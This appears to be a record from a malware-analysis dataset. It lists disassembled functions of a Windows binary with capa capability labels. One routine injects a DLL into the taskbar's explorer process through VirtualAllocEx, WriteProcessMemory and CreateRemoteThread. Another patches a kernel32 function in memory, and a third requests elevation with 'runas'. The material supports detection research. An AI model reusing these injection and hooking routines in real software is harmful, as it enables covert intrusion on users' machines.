joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14007e220
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x280
mov rax, qword [0x1403b8c08]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov r9d, dword [rcx + 8]
xor ebp, ebp
mov rsi, rdx
mov qword [rsp + 0x48], rbp
mov r8, rdx
mov dword [rsp + 0x50], ebp
mov rdx, qword [rcx]
mov rdi, rcx
or r9d, 0x2001f
mov qword [rsp + 0x58], rbp
lea rcx, [rsp + 0x48]
call fcn.14007dcc0
mov ebx, eax
test eax, eax
jne 0x14007e337
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x40]
mov qword [rsp + 0x30], rbp
lea r8, [rsp + 0x70]
mov qword [rsp + 0x28], rbp
xor edx, edx
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x40], 0x100
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x14007e311
nop dword [rax + rax]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.14007e220
mov ebx, eax
test eax, eax
jne 0x14007e337
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x40]
mov qword [rsp + 0x30], rbp
lea r8, [rsp + 0x70]
mov qword [rsp + 0x28], rbp
xor edx, edx
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x40], 0x100
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x14007e2c0
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x14007e326
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x48], rbp
mov rdx, rsi
mov dword [rsp + 0x50], ebp
mov rcx, rdi
call fcn.14007d630
mov ebx, eax
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x14007e347
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140172190
mov rbx, qword [rsp + 0x2b0]
add rsp, 0x280
pop rdi
pop rsi
pop rbp
ret
Function at 0x14007e850
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rsi
push rdi
push r14
push r15
sub rsp, 0x490
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov rax, qword [0x1403b8c08]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov r15, r9
mov rsi, r8
mov rbx, rdx
xor r14d, r14d
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x70], r14
xor edx, edx
lea r8d, [r14 + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x14007e8de
xor edx, edx
lea r8d, [r14 + 2]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x14007e8de
call fcn.14007d550
mov ebx, eax
jmp 0x14007ea03
mov r8, r15
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x14007e8ff
call fcn.14007d550
jmp 0x14007e9f2
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
mov qword [rsp + 0x40], rax
test rax, rax
jne 0x14007e922
call fcn.14007d550
jmp 0x14007e9f2
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov dword [rsp + 0x30], eax
inc eax
cmp eax, ebx
jae 0x14007e944
mov ebx, 0x8007000e
jmp 0x14007e9f4
mov ecx, eax
test eax, eax
je 0x14007e979
xor edx, edx
mov rax, 0xffffffffffffffff
div rcx
cmp rax, 2
jb 0x14007ea3b
lea rdx, [rcx + rcx]
cmp rdx, 0x400
jbe 0x14007e979
lea rcx, [rsp + 0x70]
call fcn.14007d430
jmp 0x14007e983
lea rax, [rsp + 0x78]
mov qword [rsp + 0x70], rax
jmp 0x14007e996
cmp qword [rsp + 0x70], 0
jne 0x14007e9a5
mov ebx, 0x8007000e
jmp 0x14007e9f4
mov dword [rsp + 0x28], ebx
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, ebx
mov r8, rsi
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x14007e9cf
call fcn.14007d550
jmp 0x14007e9f2
mov ecx, eax
mov rax, qword [rsp + 0x70]
mov word [rax + rcx*2], r14w
mov r8d, dword [rsp + 0x4e0]
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.14007e370
mov ebx, eax
test rdi, rdi
je 0x14007ea03
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
lea rax, [rsp + 0x78]
cmp qword [rsp + 0x70], rax
je 0x14007ea1a
lea rcx, [rsp + 0x70]
call fcn.14007d850
nop
mov eax, ebx
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.140172190
add rsp, 0x490
pop r15
pop r14
pop rdi
pop rsi
pop rbx
ret
mov ecx, 0x80070216
call fcn.14000adf0
int3
Function at 0x14007fc00
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
sub rsp, 0x20
lea rcx, [0x1400808f0]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor edi, edi
test rax, rax
jne 0x14007fc3f
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor cl, cl
mov eax, 0x80004005
test cl, cl
cmovne eax, edi
add rsp, 0x20
pop rdi
ret
lea rdx, [0x1402fa7a8]
mov qword [rsp + 0x30], rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x14007fcf1
mov edx, 5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x14007fcf7
mov eax, dword [rbx]
lea rcx, [0x1402f9ee4]
mov dword [0x1403d5208], eax
mov edx, 5
movzx eax, byte [rbx + 4]
mov byte [0x1403d520c], al
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x14007fcf7
lea r9, [rsp + 0x38]
mov dword [rsp + 0x38], edi
lea edx, [rax + 5]
mov rcx, rbx
lea r8d, [rax + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14007fcf1
mov eax, dword [0x1402f9ee4]
lea r9, [rsp + 0x40]
mov r8d, dword [rsp + 0x38]
mov edx, 5
mov dword [rbx], eax
mov rcx, rbx
movzx eax, byte [0x1402f9ee8]
mov byte [rbx + 4], al
mov dword [rsp + 0x40], edi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14007fcf1
mov cl, 1
jmp 0x14007fcf9
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor cl, cl
mov rbx, qword [rsp + 0x30]
test cl, cl
mov eax, 0x80004005
cmovne eax, edi
add rsp, 0x20
pop rdi
ret
Function at 0x140086aa0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov r15d, edx
lea r14d, [rdx - 1]
mov rdi, rcx
xor r12d, r12d
nop word [rax + rax]
mov esi, r12d
mov ebp, r12d
test r14d, r14d
je 0x140086caa
mov r8, qword [rdi + 8]
nop dword [rax]
nop word [rax + rax]
lea ecx, [r8 + 0xff]
shl esi, cl
add esi, esi
nop dword [rax + rax]
mov r10, qword [rdi]
mov ecx, dword [r10]
cmp ecx, 0x270
jne 0x140086b64
lea rax, [r10 + 8]
mov r9d, ecx
nop word [rax + rax]
mov r8d, dword [rax - 4]
xor r8d, dword [rax]
lea rax, [rax + 4]
btr r8d, 0x1f
xor r8d, dword [rax - 8]
mov ecx, r8d
and cl, 1
neg cl
sbb edx, edx
shr r8d, 1
and edx, 0x9908b0df
xor edx, dword [rax + 0x62c]
xor edx, r8d
mov dword [rax + 0x9b8], edx
sub r9, 1
jne 0x140086b20
mov ecx, dword [r10]
jmp 0x140086c47
cmp ecx, 0x4e0
jb 0x140086c47
lea r11, [r10 + 0x9c4]
mov ebx, 0xe3
mov eax, dword [r11]
nop
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 + 0x634]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x140086b80
lea r11, [r10 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r11]
nop word [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x140086bd0
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
mov ecx, r12d
mov dword [r10], r12d
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r10], eax
mov ecx, edx
mov eax, dword [r10 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
mov edx, dword [rdi + 0x10]
cmp eax, edx
ja 0x140086b00
mov r8, qword [rdi + 8]
or esi, eax
lea ecx, [r8 + 0xff]
shl ebp, cl
add ebp, ebp
or ebp, edx
cmp ebp, r14d
jb 0x140086af0
xor edx, edx
mov eax, ebp
div r15d
mov ecx, eax
mov r8d, edx
xor edx, edx
mov eax, esi
div r15d
cmp eax, ecx
jb 0x140086cca
cmp r8d, r14d
jne 0x140086ad0
mov rbx, qword [rsp + 0x20]
mov eax, esi
mov rbp, qword [rsp + 0x28]
xor edx, edx
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
div r15d
mov eax, edx
pop r15
pop r14
pop r12
ret
Function at 0x1400880b0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Find taskbar
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov qword [rax - 0x48], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
lea rcx, [rax + 0x10]
call fcn.1400d0b40
nop
mov rax, qword [rsp + 0x98]
mov edi, 0xffffffff
xor ebx, ebx
cmp dword [rax - 0x10], ebx
je 0x14008826f
xor r9d, r9d
lea r8, str.Shell_TrayWnd
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExW]
mov dword [rsp + 0x90], ebx
lea rdx, [rsp + 0x90]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rsp + 0x90]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbp, rax
test rax, rax
je 0x14008826f
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x1000
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
mov rsi, qword [rsp + 0x98]
mov r13d, dword [rsi - 0x10]
cmp dword [rsi - 8], 1
jle 0x140088189
mov edx, r13d
lea rcx, [rsp + 0x98]
call fcn.14000afc0
mov rsi, qword [rsp + 0x98]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov r9d, edi
mov r8, rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r15, eax
test eax, eax
jne 0x1400881b8
mov r14, rbx
jmp 0x1400881e7
mov rcx, r15
call fcn.140172464
mov r14, rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rax
mov r9d, edi
mov r8, rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov esi, r12d
lea eax, [r13*2]
movsxd r9, eax
mov qword [rsp + 0x20], rbx
mov r8, r14
mov edx, r12d
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14008826f
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x4000
mov r8d, 0x104
mov edx, esi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
mov rdx, qword [rsp + 0x98]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], edi
sub edi, 1
jg 0x14008828f
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov eax, ebx
mov rbx, qword [rsp + 0xa0]
add rsp, 0x50
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140093930
Capabilities:
Create process on windows
Get common file path

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0xb0
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0xd0], rbx
call fcn.140095270
call fcn.14000ffd0
mov rcx, rax
xor ebp, ebp
mov qword [rsp + 0x28], rbp
lea rax, str.haloquick
mov qword [rsp + 0x20], rax
lea r9d, [rbp + 1]
xor r8d, r8d
lea rdx, str.gadgets_command
call fcn.1400e5fb0
call fcn.14000b190
mov rcx, rax
test rax, rax
je 0x140093b34
mov rax, qword [rax]
call qword [rax + SafeArrayCopy]
lea rdi, [rax + 0x18]
mov qword [rsp + 0xe0], rdi
mov ecx, 1
sub ecx, dword [rdi - 8]
mov eax, dword [rdi - 0xc]
sub eax, 0x104
or eax, ecx
jge 0x1400939d0
mov edx, 0x104
lea rcx, [rsp + 0xe0]
call fcn.14000bdf0
mov rdi, qword [rsp + 0xe0]
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
movsxd rdx, dword [rdi - 0xc]
mov rcx, rdi
call fcn.14028c900
test eax, eax
js 0x140093b29
cmp eax, dword [rdi - 0xc]
jg 0x140093b29
mov dword [rdi - 0x10], eax
cdqe
mov word [rdi + rax*2], bp
call fcn.14000b190
mov rcx, rax
test rax, rax
je 0x140093b1e
mov rax, qword [rax]
call qword [rax + SafeArrayCopy]
add rax, 0x18
mov qword [rsp + 0xd8], rax
lea rbx, [0x1402fd698]
mov rdx, rbx
lea rcx, [rsp + 0xd8]
call fcn.14002e390
mov rsi, 0xffffffffffffffff
test al, al
jne 0x140093a6e
mov rax, rsi
nop
inc rax
cmp word [rbx + rax*2], 0
jne 0x140093a50
mov r8d, eax
mov rdx, rbx
lea rcx, [rsp + 0xd8]
call fcn.140010860
nop
xor edx, edx
lea r8d, [rdx + 0x70]
lea rcx, [rsp + 0x40]
call fcn.140289490
mov dword [rsp + 0x40], reloc.WS2_32.dll_WSASetLastError
mov rbx, qword [rsp + 0xd8]
mov qword [rsp + 0x58], rbx
call fcn.14008e7c0
lea rcx, str.runas
test al, al
cmovne rcx, qword [rsp + 0x50]
mov qword [rsp + 0x50], rcx
mov dword [rsp + 0x70], 1
mov dword [rsp + 0x44], 0x440
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x60], rbp
lea rcx, [rsp + 0x40]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
nop
lea rdx, [rbx - 0x18]
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140093aec
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0xe0]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], esi
sub esi, 1
jg 0x140093b0b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0xd0]
add rsp, 0xb0
pop rdi
pop rsi
pop rbp
ret
mov ecx, 0x80004005
call fcn.14000adf0
int3
mov ecx, 0x80070057
call fcn.14000adf0
nop
mov ecx, 0x80004005
call fcn.14000adf0
int3
Function at 0x1400943a0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rdx
push rbx
push rsi
push rdi
sub rsp, 0x40
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov rsi, rdx
call fcn.14000b190
mov rcx, rax
test rax, rax
je 0x1400944b8
mov rax, qword [rax]
call qword [rax + SafeArrayCopy]
add rax, 0x18
mov qword [rsp + 0x70], rax
mov r8, qword [rsi]
lea rdx, str._s_pidpidmidmidm2mid2appverappverososverinstdateinstdatefromhalo
lea rcx, [rsp + 0x70]
call fcn.14000b080
mov rdi, qword [rsp + 0x70]
lea rcx, [rdi - 0x18]
call fcn.14000ae30
add rax, 0x18
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x30]
call fcn.1400c0250
nop
mov rcx, qword [rsp + 0x30]
mov edx, dword [rcx - 0x10]
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
test rax, rax
je 0x1400944b2
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, [0x1402ed2c8]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov rdx, qword [rsp + 0x30]
add rdx, 0xffffffffffffffe8
mov ebx, 0xffffffff
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140094475
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, ebx
lock xadd dword [rdi - 8], eax
sub eax, 1
jg 0x140094490
mov rcx, qword [rdi - 0x18]
mov rax, qword [rcx]
lea rdx, [rdi - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsi]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], ebx
sub ebx, 1
jg 0x1400944aa
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
call fcn.14000bf60
nop
mov ecx, 0x80004005
call fcn.14000adf0
int3
Function at 0x14009b3d0
Capabilities:
Connect pipe

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
imul rbx, rdx, 0x4090
mov rsi, rdx
mov rdi, rcx
add rbx, rcx
mov rdx, rbx
mov rcx, qword [rbx + 0x40]
mov dword [rbx + 0x4054], 0
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x14009b432
mov byte [rbx + 0x48], 0
mov dword [rbx + 0x4054], 1
mov rcx, qword [rdi + 0x28698]
test rcx, rcx
je 0x14009b432
mov rax, qword [rcx]
xor r9d, r9d
mov r8d, esi
mov rdx, rdi
call qword [rax]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x217
je 0x14009b45e
cmp eax, 0x3e5
je 0x14009b458
xor al, al
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov byte [rbx + 0x48], 1
jmp 0x14009b468
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rsi, qword [rsp + 0x38]
mov al, 1
mov byte [rbx + 0x49], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14009b480
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
cmp qword [rcx + 8], 0xffffffffffffffff
mov rdi, rdx
mov rbx, rcx
je 0x14009b4f5
mov rcx, qword [rcx + 0x10]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rcx, qword [rbx]
cmp rcx, 0xffffffffffffffff
je 0x14009b4c5
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx], 0xffffffffffffffff
mov rcx, qword [rbx + 8]
cmp rcx, 0xffffffffffffffff
je 0x14009b4dd
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 8], 0xffffffffffffffff
mov rcx, qword [rbx + 0x10]
cmp rcx, 0xffffffffffffffff
je 0x14009b4f5
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x10], 0xffffffffffffffff
mov qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x40000000
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbx + 8], rax
cmp rax, 0xffffffffffffffff
jne 0x14009b53f
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor al, al
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rdi + r8*2], 0
jne 0x14009b550
lea rcx, [rbx + 0x20]
mov rdx, rdi
call fcn.1400810d0
mov rcx, qword [rbx + 8]
lea rdx, [rsp + 0x50]
xor r9d, r9d
mov dword [rsp + 0x50], 2
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14009b598
mov rax, qword [rcx]
xor r8d, r8d
mov rdx, rbx
call qword [rax]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
cmp byte [rbx + 0x40], 0
mov qword [rbx + 0x10], rax
jne 0x14009b606
lea rax, [rsp + 0x60]
mov r9, rbx
mov qword [rsp + 0x28], rax
lea r8, [0x14009c040]
xor edx, edx
mov dword [rsp + 0x20], 0
xor ecx, ecx
call fcn.1402967ac
mov qword [rbx], rax
test rax, rax
jne 0x14009b606
mov rcx, qword [rbx + 8]
cmp rcx, 0xffffffffffffffff
je 0x14009b5f9
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 8], 0xffffffffffffffff
xor al, al
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov rbx, qword [rsp + 0x58]
mov al, 1
add rsp, 0x40
pop rdi
ret
Function at 0x14009bb40
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
imul rdi, rdx, 0x4090
mov rsi, rdx
mov dword [rsp + 0x40], 0
add rdi, rcx
mov rbx, rcx
cmp byte [rdi + 0x48], 0
je 0x14009bc4a
mov rcx, qword [rdi + 0x40]
lea r8, [rsp + 0x40]
xor r9d, r9d
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
mov edx, dword [rdi + 0x4054]
test edx, edx
je 0x14009bc1e
cmp edx, 1
jne 0x14009bc4a
test eax, eax
je 0x14009bbe3
movsxd rax, dword [rsp + 0x40]
test eax, eax
je 0x14009bbe3
mov dword [rdi + 0x4c], eax
mov rcx, qword [rbx + 0x28698]
test rcx, rcx
je 0x14009bc4a
mov r10, qword [rcx]
lea r9, [rdi + 0x54]
mov qword [rsp + 0x28], 0
mov r8d, esi
mov rdx, rbx
mov qword [rsp + 0x20], rax
call qword [r10 + InitCommonControls]
jmp 0x14009bc4a
mov rcx, qword [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rdx, rsi
mov rcx, rbx
call fcn.14009b3d0
mov rcx, qword [rbx + 0x28698]
test rcx, rcx
je 0x14009bcc5
mov rax, qword [rcx]
xor r9d, r9d
mov r8d, esi
mov rdx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov al, 1
jmp 0x14009bcfb
test eax, eax
je 0x14009bcf9
mov dword [rdi + 0x4054], 1
mov rcx, qword [rbx + 0x28698]
test rcx, rcx
je 0x14009bc4a
mov rax, qword [rcx]
xor r9d, r9d
mov r8d, esi
mov rdx, rbx
call qword [rax]
xor edx, edx
lea rcx, [rdi + 0x54]
mov r8d, 0x2000
call fcn.140289490
mov rcx, qword [rdi + 0x40]
lea r9, [rdi + 0x4c]
mov r8d, 0x2000
mov qword [rsp + 0x20], rdi
lea rdx, [rdi + 0x54]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14009bc80
xor al, al
jmp 0x14009bc8f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x14009bcc9
mov al, 1
mov byte [rdi + 0x48], al
test al, al
jne 0x14009bcc5
mov rcx, qword [rbx + 0x28698]
test rcx, rcx
je 0x14009bcc5
movsxd rax, dword [rdi + 0x4c]
lea r9, [rdi + 0x54]
mov r10, qword [rcx]
mov r8d, esi
mov qword [rsp + 0x28], 0
mov rdx, rbx
mov qword [rsp + 0x20], rax
call qword [r10 + InitCommonControls]
mov al, 1
jmp 0x14009bcfb
mov rcx, qword [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rdx, rsi
mov rcx, rbx
call fcn.14009b3d0
mov rcx, qword [rbx + 0x28698]
test rcx, rcx
je 0x14009bcf9
mov rax, qword [rcx]
xor r9d, r9d
mov r8d, esi
mov rdx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor al, al
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x14009c1f0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
lea r9, [rsp + 0x40]
mov rbx, rcx
mov dword [rsp + 0x40], eax
mov rcx, qword [rcx + 8]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14009c21d
add rsp, 0x30
pop rbx
ret
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14009c232
mov rax, qword [rcx]
xor r8d, r8d
mov rdx, rbx
call qword [rax + SafeArrayCopy]
mov al, 1
add rsp, 0x30
pop rbx
ret
Function at 0x14009c240
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
imul rbx, rdx, 0x4090
mov r10, r9
mov dword [rsp + 0x40], 0
add rbx, rcx
lea r9, [rsp + 0x40]
mov r11, r8
mov rsi, rdx
mov rdi, rcx
mov r8d, r10d
mov rdx, r11
mov rcx, qword [rbx + 0x40]
lea rax, [rbx + 0x20]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14009c293
xor al, al
jmp 0x14009c2a2
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x14009c2e0
mov al, 1
mov byte [rbx + 0x49], al
cmp al, 0
jne 0x14009c2ce
mov rcx, qword [rbx + 0x38]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rdi + 0x28698]
test rcx, rcx
je 0x14009c2ce
mov rax, qword [rcx]
xor r9d, r9d
mov r8d, esi
mov rdx, rdi
call qword [rax + SafeArrayCopy]
mov al, 1
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov rcx, qword [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rdx, rsi
mov rcx, rdi
call fcn.14009b3d0
test al, al
jne 0x14009c2ce
mov rbx, qword [rsp + 0x48]
